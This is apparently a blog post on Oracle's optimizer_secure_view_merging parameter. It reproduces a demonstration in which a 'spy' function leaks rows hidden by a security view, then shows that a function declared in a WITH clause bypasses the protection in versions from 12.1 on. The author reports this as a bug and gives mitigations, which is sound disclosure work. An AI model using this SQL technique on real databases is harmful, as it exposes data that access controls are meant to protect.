optimizer_secure_view_merging and plsql_declarations
The Original Problem
A customer is currently upgrading some Oracle databases from 11.2 to 19c. One query was extremely slow on the new test system and my job was to find out why. The root cause was that the database parameter optimizer_secure_view_merging was set to a different value. In 19c
false in 11.2. This lead to a different and in fact bad execution plan in 19c.
Now the question was, should the customer keep the default value of
optimizer_secure_view_merging in 19c and rewrite the slow query or change the parameter to
false as in 11.2 to get the good performance without a code change?
What About the
Actually, the first thing I tried was the
opt_param('optimizer_secure_view_merging','false') hint. Unfortunately, this does not work in 19c. It’s a known bug 28504113. Fixed in 23c. However, I can’t really recommend waiting for 23c, right?
What About the
merge view Privilege?
The merge any view privilege is a good option for highly privileged users and roles. But it should not be granted lightly to any ordinary role or user.
The merge view privilege can be granted per view to a user or role. This has a similar scope as a hint in the subquery of a view without having to change the code. In fact, it is an excellent option to override the
optimizer_secure_view_merging setting for a view. We could
grant merge view on <owner>.<view_name> to public to mimic the scope of a hint in the subquery of a view.
However, the customer uses a metadata driven approach to generate the grants for end user roles as part of the application. And it would require a change of the application to handle this exceptional case. Of course, this grant can easily be hard coded for the view in question, but this is something the customer would like to avoid.
Christian Antognini’s Recommendation
optimizer_secure_view_merging on page 289 to 291 in Troubleshooting Oracle Performance, 2nd Edition. On page 291 he writes the following:
If you’re neither using views nor VPD for security purposes, I advise you to set the
optimizer_secure_view_merginginitialization parameter to
In my case, the customer uses views and protects them with Virtual Private Database policies. According to Chris, the customer should keep the default value
optimizer_secure_view_merging. A sound advice.
What Security Risk Are We Talking About?
Troubleshooting Oracle Performance, 2nd Edition comes with an allfiles.zip file. It contains a script
optimizer_secure_view_merging.sql in the folder
chapter09. Chris used this script to explain the impact of
optimizer_secure_view_merging in his book. I reuse this script here with minor changes.
Let’s connect as user
sys and create a database user
u1 for the application data and code and a user
u2 as connect user (with passwords which work in Autonomous Databases). We also disable
create user u1 identified by "AppOwner2022" default tablespace users quota unlimited on users; create user u2 identified by "ConnectUser2022" default tablespace users quota unlimited on users; grant create session, create table, create procedure, create view, create public synonym to u1; grant create session, create procedure to u2; alter system set optimizer_secure_view_merging=false scope=memory;
Now we connect as user
u1 and create a table
t with 6 rows. and a function
f to filter rows in the view
create table t ( id number(10) primary key, class number(10), pad varchar2(10) ); execute dbms_random.seed(0) insert into t (id, class, pad) select rownum, mod(rownum, 3), dbms_random.string('a', 10) from dual connect by level <= 6; execute dbms_stats.gather_table_stats(user, 't') create or replace function f(in_class in number) return number as begin if in_class = 1 then return 1; else return 0; end if; end; / create or replace view v as select * from t where f(class) = 1; grant select on v to u2; create or replace public synonym v for u1.v;
Let’s connect as user
u2 to query the view.
select id, pad from v where id between 1 and 5; ID PAD ---------- ---------- 1 DrMLTDXxxq 4 AszBGEUGEL
Only two of five rows are returned due to the where clause in the view. So far so good.
u2 has the right to create own functions. And that is a security risk. Why? Because the user can write a
spy function like in the next example:
create or replace function spy( in_id in number, in_pad in varchar2 ) return number as begin dbms_output.put_line('id=' || in_id || ' pad=' || in_pad); return 1; end; / set serveroutput on size unlimited select id, pad from v where id between 1 and 5 and spy(id, pad) = 1; ID PAD ---------- ---------- 1 DrMLTDXxxq 4 AszBGEUGEL id=1 pad=DrMLTDXxxq id=2 pad=XOZnqYRJwI id=3 pad=nlGfGBTxNk id=4 pad=AszBGEUGEL id=5 pad=qTSRnFjRGb
Look at the server output for id 3, 4 and 5. By using the spy function in the where clause the user can get access to all rows in table
t. This is only possible because
- the database parameter
optimizer_secure_view_mergingis set to
- the optimizer applies the
spyfunction to an intermediate result and
- the user
When you call
alter system set optimizer_secure_view_merging=true scope=memory; then the result of the previous query looks like this:
ID PAD ---------- ---------- 1 DrMLTDXxxq 4 AszBGEUGEL id=1 pad=DrMLTDXxxq id=4 pad=AszBGEUGEL
spy function does not reveal protected data anymore. Thanks to
The Next Problem
The customer’s connect users do not have
create procedure privileges. After all, It’s a PinkDB application. Hence I could recommend to set
optimizer_secure_view_merging=false, because the connect users would not be able to write their own
spy functions, right?
Wrong. For two reasons.
Firstly, the user could have access to an existing function that might be misused, e.g. a logger function.
Secondly, we are on 19c. And since 12.1 we have plsql_declarations to write PL/SQL functions and procedures in the with_clause of a select statement. As a result, I can write a
spy function without the
create procedure privilege. For example like this:
set serveroutput on size unlimited with function spy( in_id in number, in_pad in varchar2 ) return number as begin dbms_output.put_line('id=' || in_id || ' pad=' || in_pad); return 1; end; select id, pad from v where id between 1 and 5 and spy(id, pad) = 1; / ID PAD ---------- ---------- 1 DrMLTDXxxq 4 AszBGEUGEL id=1 pad=DrMLTDXxxq id=2 pad=XOZnqYRJwI id=3 pad=nlGfGBTxNk id=4 pad=AszBGEUGEL id=5 pad=qTSRnFjRGb
Again, look at the server output for id 3, 4 and 5. Protected data is revealed, even if the user has only the
create session privilege and
optimizer_secure_view_merging is set to
true. IMO this is clearly a security bug.
What Database Versions Are Affected?
I assume that all Oracle Database versions from 12.1 onwards are affected. Including Autonomous Databases. I have explicitly tested the following versions:
- OCI as of 2022-10-31:
- Autonomous Database 21c (ATP)
- Autonomous Database 19c (ADW)
- Autonomous Database 19c (AJD)
- Oracle Database XE 21c
- Oracle Database Enterprise Edition 19c (19.16)
What Can We Do?
I created SR 3-31087264311 for this issue. I expect that either a workaround is provided or a bug is opened and a fix will be available soon. I’ll update this blog post accordingly.
In any case, if you have views or VPD policies for security purposes, set
optimizer_secure_view_merging=true and ensure that the connect users do not have the
create procedure privilege. Follow the principle of least privileges.
The post optimizer_secure_view_merging and plsql_declarations appeared first on Philipp Salvisberg's Blog.